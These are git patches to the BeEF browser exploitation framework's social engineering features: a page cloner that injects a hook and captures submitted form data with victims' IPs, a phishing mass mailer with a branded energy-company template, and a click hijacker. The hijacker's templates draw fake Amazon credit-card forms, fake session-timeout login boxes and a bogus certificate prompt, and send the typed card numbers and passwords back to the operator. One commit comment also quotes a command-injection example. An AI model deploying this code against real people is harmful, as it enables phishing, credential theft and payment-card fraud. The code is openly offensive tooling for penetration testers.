'width'=>'200px' } + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From ae72f9fedf1223a199b4e63b67849bd190b6766f Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 2 Sep 2012 16:23:53 +0100 Subject: [PATCH 124/225] Social Eng. extension: added request.ip to interceptor logs, adapted output --- .../social_engineering/models/interceptor.rb | 2 +- .../rest/socialengineering.rb | 12 ++- .../web_cloner/interceptor.rb | 7 +- .../web_cloner/web_cloner.rb | 100 ++++++++++-------- 4 files changed, 73 insertions(+), 48 deletions(-) diff --git a/extensions/social_engineering/models/interceptor.rb b/extensions/social_engineering/models/interceptor.rb index 9a72cf64d..ab92cdadd 100644 --- a/extensions/social_engineering/models/interceptor.rb +++ b/extensions/social_engineering/models/interceptor.rb @@ -23,7 +23,7 @@ module BeEF storage_names[:default] = 'extension_seng_interceptor' property :id, Serial - + property :ip, Text, :lazy => false property :post_data, Text, :lazy => false belongs_to :webcloner diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb index fcb1c408b..cc3470333 100644 --- a/extensions/social_engineering/rest/socialengineering.rb +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -53,7 +53,17 @@ module BeEF end web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance - web_cloner.clone_page(uri,mount) + success = web_cloner.clone_page(uri,mount) + if success + result = { + "success" => true, + "mount" => mount + }.to_json + else + result = { + "success" => false + }.to_json + end end rescue Exception => e diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb index d8d19dfaa..17e4e57c1 100644 --- a/extensions/social_engineering/web_cloner/interceptor.rb +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -25,7 +25,7 @@ module BeEF # intercept GET get "/" do - print_info "GET request" + print_info "GET request from IP #{request.ip}" print_info "Referer: #{request.referer}" cloned_page = settings.cloned_page cloned_page @@ -33,7 +33,7 @@ module BeEF # intercept POST post "/" do - print_info "POST request" + print_info "POST request from IP #{request.ip}" request.body.rewind data = request.body.read print_info "Intercepted data:" @@ -41,7 +41,8 @@ module BeEF interceptor_db = BeEF::Core::Models::Interceptor.new( :webcloner_id => settings.db_entry.id, - :post_data => data + :post_data => data, + :ip => request.ip ) interceptor_db.save diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 1e3c68205..02637908d 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -34,55 +34,69 @@ module BeEF output_mod = "#{output}_mod" user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') - #todo: prevent command injection using IO.popen passing an array of arguments - # see here: http://devblog.avdi.org/2012/03/29/generating-cows-with-io-popen/ - wget = "wget '#{url}' --no-check-certificate -c -k -U '#{user_agent}' -O #{@cloned_pages_dir + output}" - IO.popen(wget.to_s) { |f| result = f.gets } - File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| - File.open("#{@cloned_pages_dir + output}", 'r').each do |line| - # Modify the line changing the action URI to / in order to be properly intercepted by BeEF - if line.include?(" line changing the action URI to / in order to be properly intercepted by BeEF + if line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') + out_file.print add_beef_hook(line) + print_info "BeEF hook added :-D" + else + out_file.print line end - line_attrs[count] = "action=\"#{mount}\"" - mod_form = line_attrs.join(" ") - print_info "Form action value changed to / in order to be intercepted." - out_file.print mod_form - # Add the BeEF hook - elsif line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') - out_file.print add_beef_hook(line) - print_info "Added BeEF hook." - else - out_file.print line end end + + if File.size("#{@cloned_pages_dir + output}") > 0 + print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" + + file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve + + # Check if the original URL can be framed + frameable = is_frameable(url) + + interceptor = BeEF::Extension::SocialEngineering::Interceptor + interceptor.set :redirect_to, url + interceptor.set :frameable, frameable + interceptor.set :beef_hook, @beef_hook + interceptor.set :cloned_page, get_page_content(file_path) + interceptor.set :db_entry, persist_page(url,mount) + + @http_server.mount("#{mount}", interceptor.new) + print_info "Mounting cloned page on URL [#{mount}]" + @http_server.remap + success = true + else + print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'." + end end - print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" - - file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve - - # Check if the original URL can be framed - frameable = is_frameable(url) - - interceptor = BeEF::Extension::SocialEngineering::Interceptor - interceptor.set :redirect_to, url - interceptor.set :frameable, frameable - interceptor.set :beef_hook, @beef_hook - interceptor.set :cloned_page, get_page_content(file_path) - interceptor.set :db_entry, persist_page(url,mount) - - @http_server.mount("#{mount}", interceptor.new) - print_info "Mounting cloned page on URL [#{mount}]" - @http_server.remap + success end private From ed9b1d5c2ebb617a2b21fb9f885ffc2340c9c874 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 2 Sep 2012 17:25:50 +0100 Subject: [PATCH 125/225] Social Eng. Extension: webcloner ->calling IO.popen in a secure way --- .../web_cloner/web_cloner.rb | 42 +++++++++++++------ 1 file changed, 29 insertions(+), 13 deletions(-) diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 02637908d..1cf5feb7f 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -34,32 +34,47 @@ module BeEF output_mod = "#{output}_mod" user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') - - wget = "wget '#{url}' --background --no-check-certificate -c -k -U '#{user_agent}' -O #{@cloned_pages_dir + output}" - IO.popen(wget.to_s) { |f| - @result = f.gets - print_debug "Wget: #{@result}" - } - success = false - if @result.nil? - print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." - else + # prevent command injection attacks, passing URLs like (http://antisnatchor'||touch /tmp/foo #). No shells are open in the following case. + begin + IO.popen(["wget", "#{url}","-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}","--no-check-certificate","--background"], 'r+') do |wget_io| end + success = true + rescue Exception => e + print_error "Errors executing wget: #{e}" + print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." + end + + if success File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| File.open("#{@cloned_pages_dir + output}", 'r').each do |line| # Modify the line changing the action URI to / in order to be properly intercepted by BeEF if line.include?(" Date: Sun, 2 Sep 2012 17:26:38 +0100 Subject: [PATCH 126/225] Social Eng. extension: added notes about 'wget' and 'file' commands required for the extension. --- extensions/social_engineering/config.yaml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index de77968e4..50213ce6b 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -20,9 +20,11 @@ beef: name: 'Social Engineering' authors: ["antisnatchor"] web_cloner: + # NOTE: you must have 'wget' in your PATH add_beef_hook: true user_agent: "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2" mass_mailer: + # NOTE: you must have 'file' in your PATH user_agent: "Microsoft-MacOutlook/12.12.0.111556" host: "smtp.gmail.com" port: 587 From 31387a0aa696b03c0e7a83688672893eed998c7b Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 2 Sep 2012 19:00:40 +0100 Subject: [PATCH 127/225] Social Eng. extension: massmailer -> calling IO.popen in a secure way --- extensions/social_engineering/mass_mailer/mass_mailer.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index 2e61b4dd8..221ca73e7 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -222,9 +222,10 @@ EOF end def get_mime(file_path) - mime = "file --mime -b #{file_path}" result = "" - IO.popen(mime.to_s) { |f| result = f.gets.split(";").first } + IO.popen(["file", "--mime","-b", "#{file_path}"], 'r+') do |io| + result = io.readlines.first.split(";").first + end result end From 931aeb6ee591c94adf9232900a78a6260b39f32b Mon Sep 17 00:00:00 2001 From: qswain2 Date: Mon, 3 Sep 2012 09:46:03 -0400 Subject: [PATCH 128/225] Fixed the module count in the ui to include sub modules (issue 708) --- extensions/admin_ui/controllers/modules/modules.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index a3d0c087c..b10ccc4bf 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -591,12 +591,15 @@ class Modules < BeEF::Extension::AdminUI::HttpController # append the number of command modules so the branch name results in: " (num)" parent.each {|command_module_branch| if command_module_branch.is_a?(Hash) and command_module_branch.has_key?('children') - num_of_command_modules = command_module_branch['children'].length - command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" - + num_of_subs = 0 command_module_branch['children'].each {|c| + #add in the submodules and subtract 1 for the folder node + num_of_subs+=c['children'].length-1 if c.has_key?('children') retitle_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder' } + num_of_command_modules = command_module_branch['children'].length + num_of_subs + command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" + end } end From 05d7fe3adf0a48d879894c2affaa53418e49a306 Mon Sep 17 00:00:00 2001 From: Jean-Louis Huynen Date: Tue, 4 Sep 2012 17:47:59 +0200 Subject: [PATCH 129/225] Adding the Simple Hijacker module in social engineering (route clicks on some links to javascript code) --- .../simple_hijacker/command.js | 37 ++++++ .../simple_hijacker/config.yaml | 26 +++++ .../simple_hijacker/module.rb | 50 +++++++++ .../simple_hijacker/templates/amazon.js | 28 +++++ .../templates/chromecertbeggar.js | 50 +++++++++ .../simple_hijacker/templates/confirmbox.js | 10 ++ .../simple_hijacker/templates/credential.js | 105 ++++++++++++++++++ 7 files changed, 306 insertions(+) create mode 100644 modules/social_engineering/simple_hijacker/command.js create mode 100644 modules/social_engineering/simple_hijacker/config.yaml create mode 100644 modules/social_engineering/simple_hijacker/module.rb create mode 100644 modules/social_engineering/simple_hijacker/templates/amazon.js create mode 100644 modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js create mode 100644 modules/social_engineering/simple_hijacker/templates/confirmbox.js create mode 100644 modules/social_engineering/simple_hijacker/templates/credential.js diff --git a/modules/social_engineering/simple_hijacker/command.js b/modules/social_engineering/simple_hijacker/command.js new file mode 100644 index 000000000..adcc3e4b2 --- /dev/null +++ b/modules/social_engineering/simple_hijacker/command.js @@ -0,0 +1,37 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + +hijack = function(){ + function send(answer){ + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer); + } + <% target = @targets.split(',') %> + $j('a').click(function(e) { + e.preventDefault(); + if ($j(this).attr('href') != '') + { + if( <% target.each{ |href| %> $j(this).attr('href').indexOf("<%=href%>") != -1 <% if href != target.last %> || <% else %> ) <% end %><% } %>{ + <%= instance_variable_get("@#{@choosetmpl}") %> + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Template "<%= @choosetmpl %>" applied to '+$j(this).attr('href')); + } + } + }); +} + +beef.execute(function() { + hijack(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Hijacker ready, now waits for user action'); +}); diff --git a/modules/social_engineering/simple_hijacker/config.yaml b/modules/social_engineering/simple_hijacker/config.yaml new file mode 100644 index 000000000..8fbb9209d --- /dev/null +++ b/modules/social_engineering/simple_hijacker/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + simple_hijacker: + enable: true + category: "Social Engineering" + name: "Simple Hijacker" + description: "Hijack clicks on links to display what you want." + templates: ["credential", "confirmbox", "amazon", "chromecertbeggar"] + authors: ["gallypette"] + target: + user_notify: ['ALL'] diff --git a/modules/social_engineering/simple_hijacker/module.rb b/modules/social_engineering/simple_hijacker/module.rb new file mode 100644 index 000000000..d9a66c1dd --- /dev/null +++ b/modules/social_engineering/simple_hijacker/module.rb @@ -0,0 +1,50 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Simple_hijacker < BeEF::Core::Command + + def self.options + + config = BeEF::Core::Configuration.instance + @templates = config.get('beef.module.simple_hijacker.templates') + + # Defines which domains to target + data = [] + data.push({'name' =>'targets', 'description' =>'list domains you want to hijack - separed by ,', 'ui_label'=>'Targetted domains', 'value' => 'beef'}) + + # We'll then list all templates available + tmptpl = [] + @templates.each{ |template| + tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{template}.js" + raise "Invalid template path for command template #{template}" if not File.exists?(tplpath) + file = File.open(tplpath, "r") + data.push({'name' => template, 'type' => 'hidden', 'value' => file.read}) + tmptpl<<[ template] + } + + data.push({'name' => 'choosetmpl', 'type' => 'combobox', 'ui_label' => 'Template to use', 'store_type' => 'arraystore', 'store_fields' => ['tmpl'], 'store_data' => tmptpl, 'valueField' => 'tmpl', 'displayField' => 'tmpl' , 'mode' => 'local', 'emptyText' => "Choose a template"}) + + return data + end + + # + # This method is being called when a zombie sends some + # data back to the framework. + # + def post_execute + save({'answer' => @datastore['answer']}) + end + +end diff --git a/modules/social_engineering/simple_hijacker/templates/amazon.js b/modules/social_engineering/simple_hijacker/templates/amazon.js new file mode 100644 index 000000000..0c58ba121 --- /dev/null +++ b/modules/social_engineering/simple_hijacker/templates/amazon.js @@ -0,0 +1,28 @@ + beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null); + $j(document).attr('title', $j(this).html()); + document.body.scroll = 'no'; + document.documentElement.style.overflow = 'hidden'; + + collect = function(){ + answer = ""; + $j(":input").each(function() { + answer += " "+$j(this).attr("name")+":"+$j(this).val(); + }); + send(answer); + } + + // floating div + function writediv() { + sneakydiv = document.createElement('div'); + sneakydiv.setAttribute('id', 'hax'); + sneakydiv.setAttribute('display', 'block'); + sneakydiv.setAttribute('style', 'width:60%;position:fixed; top:200px; left:220px; z-index:51;background-color:#FFFFFF;opacity:1;font-family: verdana,arial,helvetica,sans-serif;font-size: small;'); + document.body.appendChild(sneakydiv); + sneakydiv.innerHTML= '
Your credit card details expired, please enter your new credit card credential to continue shopping-
Changes made to your payment methods will not affect orders you have already placed.
Your Account>

Add a Credit or Debit Card

  Edit your payment method:
Cardholder Name:
Exp. Date: 
Number:

Confirm
'; + } + + writediv(); + + $j("#confirm").click(function () { + $j('#hax').remove(); + }); diff --git a/modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js b/modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js new file mode 100644 index 000000000..d1adce6d5 --- /dev/null +++ b/modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js @@ -0,0 +1,50 @@ + // floating div + function writediv() { + sneakydiv = document.createElement('div'); + sneakydiv.setAttribute('id', 'background'); + sneakydiv.setAttribute('oncontextmenu','return false;'); + sneakydiv.setAttribute('style', 'overflow:hidden;position:absolute;width:100%;height:100%;top:0px;left:0px;z-index:51;opacity:1;background-color:#500; font-family:Helvetica,Arial,sans-serif; margin:0px;'); + document.body.appendChild(sneakydiv); + sneakydiv.innerHTML= '
background
SSL Error Icon
Please accept our new SELF®-Signed Certificate to ensure maximum security protection.
'+domain+' chose SELF® to protect your security. If your browser raise any warning after this one it means that it\'s not up-to-date. Accept this certificate then please consider updating your browser as soon as possible.

SELF® - to make the Internet a safer place.
read more about the SELF® certification authority

Security Enhanced Layer Factory®: because nobody of us cannot realize the full potential of the Internet, unless it is a reliable place to interact and to deal. Our dependence on computers and the Internet increases every day, like our vulnerability. Daily news reports confirm a clear and present danger to all the Internet users (worms, viruses, trojans, malware, cybercrime, cyber-terrorism and related threats). These threats, mainly the very sophisticated group work of organized crime, directly harm millions of Internet users have real confidence in the Internet. Every individual or the company using the Internet has a role in the restoring of trust. SELF® help people as customer or seller to feel safe by issuing SELF®-signed certificate that are build to last. With SELF® you will never be harmed again - Trust is our workship.

Security Enhanced Layer Factory®, SELF® and SELF® logo are registered trademarks.

'; + toggleMoreInfo(true); + setDirectionSensitiveImages(); + } + + forward = function(){ + send("User continuing to "+target); + timer=setInterval(function(){window.location = target;},500); + } + + getDomain = function(url){ + return url.match(/:\/\/(www\.)?(.[^/:]+)/)[2]; + } + + function $(o) {return document.getElementById(o);} + + sendCommand = function(cmd) { + window.domAutomationController.setAutomationId(1); + window.domAutomationController.send(cmd); + } + + toggleMoreInfo = function(collapse) { + if (collapse) { + $("more_info_long").style.display = "none"; + $("more_info_short").style.display = "block"; + } else { + $("more_info_long").style.display = "block"; + $("more_info_short").style.display = "none"; + } + } + setDirectionSensitiveImages = function () { + if (document.documentElement.dir == 'rtl') { + $("twisty_closed_rtl").style.display = "inline"; + } else { + $("twisty_closed").style.display = "inline"; + } + } + + target = $j(this).attr('href'); + domain = getDomain(target); + $j(document).attr('title', domain+" Security Enhanced Layer Factory® certificate acceptance"); + writediv(); + diff --git a/modules/social_engineering/simple_hijacker/templates/confirmbox.js b/modules/social_engineering/simple_hijacker/templates/confirmbox.js new file mode 100644 index 000000000..d8c79bc7b --- /dev/null +++ b/modules/social_engineering/simple_hijacker/templates/confirmbox.js @@ -0,0 +1,10 @@ +var answer = confirm("Do you really want to leave us ??") +if (answer){ + alert("Okay :(") + send("User chose to leave."); + window.location = $j(this).attr('href'); +} +else{ + alert("Okay enjoy ") + send("User chose to stay."); +} diff --git a/modules/social_engineering/simple_hijacker/templates/credential.js b/modules/social_engineering/simple_hijacker/templates/credential.js new file mode 100644 index 000000000..d0b1eacb0 --- /dev/null +++ b/modules/social_engineering/simple_hijacker/templates/credential.js @@ -0,0 +1,105 @@ + imgr = "http://0.0.0.0:3000/ui/media/images/beef.png"; + var answer= ''; + + beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null); + $j(document).attr('title', $j(this).html()); + document.body.scroll = 'no'; + document.documentElement.style.overflow = 'hidden'; + + // set up darkening + function grayOut(vis, options) { + // Pass true to gray out screen, false to ungray + // options are optional. This is a JSON object with the following (optional) properties + // opacity:0-100 // Lower number = less grayout higher = more of a blackout + // zindex: # // HTML elements with a higher zindex appear on top of the gray out + // bgcolor: (#xxxxxx) // Standard RGB Hex color code + // grayOut(true, {'zindex':'50', 'bgcolor':'#0000FF', 'opacity':'70'}); + // Because options is JSON opacity/zindex/bgcolor are all optional and can appear + // in any order. Pass only the properties you need to set. + var options = options || {}; + var zindex = options.zindex || 50; + var opacity = options.opacity || 70; + var opaque = (opacity / 100); + var bgcolor = options.bgcolor || '#000000'; + var dark=document.getElementById('darkenScreenObject'); + if (!dark) { + // The dark layer doesn't exist, it's never been created. So we'll + // create it here and apply some basic styles. + // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917 + var tbody = document.getElementsByTagName("body")[0]; + var tnode = document.createElement('div'); // Create the layer. + tnode.style.position='absolute'; // Position absolutely + tnode.style.top='0px'; // In the top + tnode.style.left='0px'; // Left corner of the page + tnode.style.overflow='hidden'; // Try to avoid making scroll bars + tnode.style.display='none'; // Start out Hidden + tnode.id='darkenScreenObject'; // Name it so we can find it later + tbody.appendChild(tnode); // Add it to the web page + dark=document.getElementById('darkenScreenObject'); // Get the object. + } + if (vis) { + // Calculate the page width and height + if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) { + var pageWidth = document.body.scrollWidth+'px'; + var pageHeight = document.body.scrollHeight+'px'; + } else if( document.body.offsetWidth ) { + var pageWidth = document.body.offsetWidth+'px'; + var pageHeight = document.body.offsetHeight+'px'; + } else { + var pageWidth='100%'; + var pageHeight='100%'; + } + //set the shader to cover the entire page and make it visible. + dark.style.opacity=opaque; + dark.style.MozOpacity=opaque; + dark.style.filter='alpha(opacity='+opacity+')'; + dark.style.zIndex=zindex; + dark.style.backgroundColor=bgcolor; + dark.style.width= pageWidth; + dark.style.height= pageHeight; + dark.style.display='block'; + } else { + dark.style.display='none'; + } + } + + // function to send response + function win(){ + document.getElementById('hax').innerHtml='

Thank you for re-authenticating, you will now be returned to the application

'; + answer = document.getElementById('uname').value+':'+document.getElementById('pass').value; + } + + // perform darkening + grayOut(true); + + function checker(){ + processval = document.body.lastChild.getElementsByTagName("input")[2].value; + if (processval == "Processing..") { + uname = document.body.lastChild.getElementsByTagName("input")[0].value; + pass = document.body.lastChild.getElementsByTagName("input")[1].value; + answer = uname+":"+pass + send(answer); + // set lastchild invisible + document.body.lastChild.setAttribute('style','display:none'); + // lighten screen + grayOut(false); + clearInterval(credgrabber); + $j('#hax').remove(); + $j('#darkenScreenObject').remove(); + } + } + + + // floating div + function writeit() { + sneakydiv = document.createElement('div'); + sneakydiv.setAttribute('id', 'hax'); + sneakydiv.setAttribute('style', 'width:400px;height:320px;position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000'); + sneakydiv.setAttribute('align', 'center'); + document.body.appendChild(sneakydiv); + sneakydiv.innerHTML= '

Your session has timed out!

For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.

Username:
Password:

'; + credgrabber = setInterval(checker,1000); + + } + + writeit(); From 716e7fe712ba6868d2df56d88e7e2bba441a8948 Mon Sep 17 00:00:00 2001 From: Jean-Louis Huynen Date: Wed, 5 Sep 2012 15:15:56 +0200 Subject: [PATCH 130/225] Change stupid code that made this module unusable with the API to something less stupid (i hope) --- modules/social_engineering/simple_hijacker/command.js | 8 +++++++- modules/social_engineering/simple_hijacker/module.rb | 2 -- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/social_engineering/simple_hijacker/command.js b/modules/social_engineering/simple_hijacker/command.js index adcc3e4b2..e924ebb41 100644 --- a/modules/social_engineering/simple_hijacker/command.js +++ b/modules/social_engineering/simple_hijacker/command.js @@ -24,7 +24,13 @@ hijack = function(){ if ($j(this).attr('href') != '') { if( <% target.each{ |href| %> $j(this).attr('href').indexOf("<%=href%>") != -1 <% if href != target.last %> || <% else %> ) <% end %><% } %>{ - <%= instance_variable_get("@#{@choosetmpl}") %> + <% + tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{@choosetmpl}.js" + file = File.open(tplpath, "r") + @template = file.read + %> + + <%= @template %> beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Template "<%= @choosetmpl %>" applied to '+$j(this).attr('href')); } } diff --git a/modules/social_engineering/simple_hijacker/module.rb b/modules/social_engineering/simple_hijacker/module.rb index d9a66c1dd..6a40a85ed 100644 --- a/modules/social_engineering/simple_hijacker/module.rb +++ b/modules/social_engineering/simple_hijacker/module.rb @@ -29,8 +29,6 @@ class Simple_hijacker < BeEF::Core::Command @templates.each{ |template| tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{template}.js" raise "Invalid template path for command template #{template}" if not File.exists?(tplpath) - file = File.open(tplpath, "r") - data.push({'name' => template, 'type' => 'hidden', 'value' => file.read}) tmptpl<<[ template] } From 085f2775f37e81e62e4448e4a45ab4020baacf9d Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 6 Sep 2012 17:50:27 +0930 Subject: [PATCH 131/225] Added `beef.browser.hasCors()` function --- core/main/client/browser.js | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 42bfcaca0..519285a08 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -605,8 +605,8 @@ beef.browser = { * Checks if the Phonegap API is available from the hooked domain. * @return: {Boolean} true or false. * - * @example: if(beef.browser.hasJava()) { ... } - */ + * @example: if(beef.browser.hasPhonegap()) { ... } + */ hasPhonegap: function() { var result = false; try { if (!!device.phonegap) result = true; else result = false; } @@ -614,6 +614,21 @@ beef.browser = { return result; }, + /** + * Checks if the browser supports CORS + * @return: {Boolean} true or false. + * + * @example: if(beef.browser.hasCors()) { ... } + */ + hasCors: function() { + if ('withCredentials' in new XMLHttpRequest()) + return true; + else if (typeof XDomainRequest !== "undefined") + return true; + else + return false; + }, + /** * Checks if the zombie has Java installed and enabled. * @return: {Boolean} true or false. From 2f5fc46a8e64774b7ccdbe05e98de7c3f9b1de48 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Thu, 6 Sep 2012 11:26:31 +0100 Subject: [PATCH 132/225] Social Eng. Extension: fixed a bug in mass_mailer when choosing a different template. --- .../mass_mailer/mass_mailer.rb | 32 ++++++++++++------- .../rest/socialengineering.rb | 2 +- 2 files changed, 22 insertions(+), 12 deletions(-) diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index 221ca73e7..31e0f6a19 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -83,18 +83,20 @@ module BeEF rel_boundary = "------------#{random_string(24)}" header = email_headers(@from, fromname, @user_agent, to, subject, msg_id, boundary) - plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain"),boundary) + plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary) rel_header = email_related(rel_boundary) - html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html"),rel_boundary) + html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template),rel_boundary) images = "" - @config.get("#{@config_prefix}.templates.default.images").each do |image| + @config.get("#{@config_prefix}.templates.#{template}.images").each do |image| images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary) end attachments = "" - @config.get("#{@config_prefix}.templates.default.attachments").each do |attachment| - attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary) + if @config.get("#{@config_prefix}.templates.#{template}.attachments") != nil + @config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment| + attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary) + end end close = email_close(boundary) @@ -197,9 +199,9 @@ EOF end # Replaces placeholder values from the plain/html email templates - def parse_template(name, link, linktext, template_path) + def parse_template(name, link, linktext, template_path, template) result = "" - img_config = "#{@config_prefix}.templates.default.images_cids" + img_config = "#{@config_prefix}.templates.#{template}.images_cids" img_count = 0 File.open(template_path, 'r').each do |line| # change the Recipient name @@ -207,13 +209,21 @@ EOF result += line.gsub("__name__",name) # change the link/linktext elsif line.include?("__link__") - result += line.gsub("__link__",link).gsub("__linktext__",linktext) + if line.include?("__linktext__") + result += line.gsub("__link__",link).gsub("__linktext__",linktext) + else + result += line.gsub("__link__",link) + end # change images cid/name/alt elsif line.include?("src=\"cid:__") img_count += 1 - result += line.gsub("__cid#{img_count}__", - @config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__", - @config.get("#{img_config}.cid#{img_count}")) + if line.include?("name=\"img__") || line.include?("alt=\"__img") + result += line.gsub("__cid#{img_count}__", + @config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__", + @config.get("#{img_config}.cid#{img_count}")) + else + result += line.gsub("__cid#{img_count}__",@config.get("#{img_config}.cid#{img_count}")) + end else result += line end diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb index cc3470333..a6aa9d188 100644 --- a/extensions/social_engineering/rest/socialengineering.rb +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -102,7 +102,7 @@ module BeEF halt 401 end - if (link =~ URI::regexp).nil? || (linktext =~ URI::regexp).nil?#invalid URI + if (link =~ URI::regexp).nil?#invalid URI print_error "Invalid link or linktext" halt 401 end From 64ba4686f4d0c5f5a5d007961efe93d1b8f2b60c Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Thu, 6 Sep 2012 11:27:12 +0100 Subject: [PATCH 133/225] Social Eng. Extension: added EDF Energy phishing template :D --- .../mass_mailer/templates/edfenergy/2012.png 